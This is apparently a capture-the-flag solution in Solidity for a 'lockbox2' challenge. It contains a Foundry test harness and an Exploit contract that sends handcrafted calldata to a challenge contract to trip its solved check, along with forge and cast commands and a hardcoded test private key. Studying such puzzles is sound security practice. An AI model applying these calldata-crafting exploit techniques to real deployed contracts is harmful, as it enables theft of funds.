lockbox2.t.sol ``` // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "forge-std/Test.sol"; import "../src/lockbox2/public/contracts/Setup.sol"; import "../src/lockbox2/public/contracts/Exploit.sol"; bytes constant SIXTY_FOUR_ZEROS = "0000000000000000000000000000000000000000000000000000000000000000"; // ctrlc+v on handcrafted calldata address constant CREATE2_FACTORY = 0x4e59b44847b379578588920cA78FbF26c0B4956C; /* Commands: # Testing command forge test --mp ./test/lockbox2.t.sol --mc Tester --fork-url $ANVIL_URL -vvvvv # Debug command forge test --mp ./test/lockbox2.t.sol --mc Tester --debug <function> --fork-url $CTF_URL # Script command forge script script/lockbox2.s.sol:Scripter --rpc-url $CTF_URL --private-key $CTF_PRIVATE_KEY --broadcast -vvvvv # Debug broadcasted tx: cast run <TXHASH> -d --rpc-url $CTF_URL # Exploratory forge inspect <path>:<ContractName> storage --pretty https://ethervm.io/decompile https://library.dedaub.com/decompile panoramix <bytecode> */ contract Tester is Test { Setup setup; address payable setupAddress; Lockbox2 challenge; address payable challengeAddress; Exploit exploit; address payable exploitAddress; bytes32 privatekey = 0x00373c0f6cd01cf0b0f383308827bf8079293059ccd4bd1264a61fc4590062ae; address payable publickey; function setUp() public { setup = new Setup(); setupAddress = payable(address(setup)); challenge = setup.lockbox2(); challengeAddress = payable(address(challenge)); publickey = payable(address(uint160(uint256(keccak256(abi.encodePacked(privatekey)))))); publickey.transfer(10 ether); // use contest private key to send in ether // then use coded private key to solve challenge } // function testIsSolved() public { // // useful to run at beginning to find storage slots .isSolved() uses // vm.record(); // setup.isSolved(); // vm.accesses(challengeAddress); // } function testExploit() public { // vm.createSelectFork(vm.rpcUrl("paradigm")); // console2.log("Bal after setup: setup: %s, challenge: %s", setupAddress.balance, challengeAddress.balance); exploit = new Exploit{value: 100 ether}(setup, challenge); exploitAddress = payable(address(exploit)); // // alternatively use etk code as exploit // bytes memory etkCode = etkLoad(); // address _addr; // assembly { // _addr := create(0, add(initcode, 0x20), mload(initcode)) // } // exploitAddress = address(_addr); // console2.log("Bal after exp-deployed: setup: %s, challenge: %s, exploit: %s", setupAddress.balance, challengeAddress.balance, address(exploit).balance); exploit.finalize(); // console2.log("Bal post finalize: setup: %s, challenge: %s, exploit: %s", setupAddress.balance, challengeAddress.balance, address(exploit).balance); console2.log("Solved: %s", exploit.checkSolved()); } function etkLoad() public returns (bytes memory etkCode){ // Helper function to load handcrafted EVM code from a file. // typically used as: // // bytes memory etkCode = etkLoad(); // vm.etch(someAddress, etkCode); // someAddress.call(hex"69696969"); string[] memory inputs = new string[](2); // /** // * windows: scripts/compile.bat // * linux : scripts/compile.sh // */ inputs[0] = "./script/compile.sh"; // // path/to/contract.etk inputs[1] = "./src/lockbox2/public/contracts/exploit.etk"; etkCode = vm.ffi(inputs); } fallback() external payable {} } ``` exploit ``` //SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import './Setup.sol'; contract Exploit { Setup public setup; address payable public setupAddress; Lockbox2 public challenge; address payable public challengeAddress; constructor(Setup _setup, Lockbox2 _challenge) payable { setup = _setup; setupAddress = payable(address(setup)); challenge = _challenge; challengeAddress = payable(address(challenge)); } function finalize() external { // a = 131 = 0x83 // b = 257 = 0x101 // c = 1 = 1 // bytes memory solveData = hex"890d6908000000000000000000000000000000000000000000000000000000000000008300000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000000000000000000000000000000000000001"; bytes memory solveData = hex"890d69080000000000000000000000000000000000000000000000000000000000000083000000000000000000000000000000000000000000000000000000000000010100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001"; // bytes memory solveData = hex"890d69080000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001"; challengeAddress.call(solveData); } function checkSolved() public view returns(bool) { return setup.isSolved(); } fallback() external payable { } } ```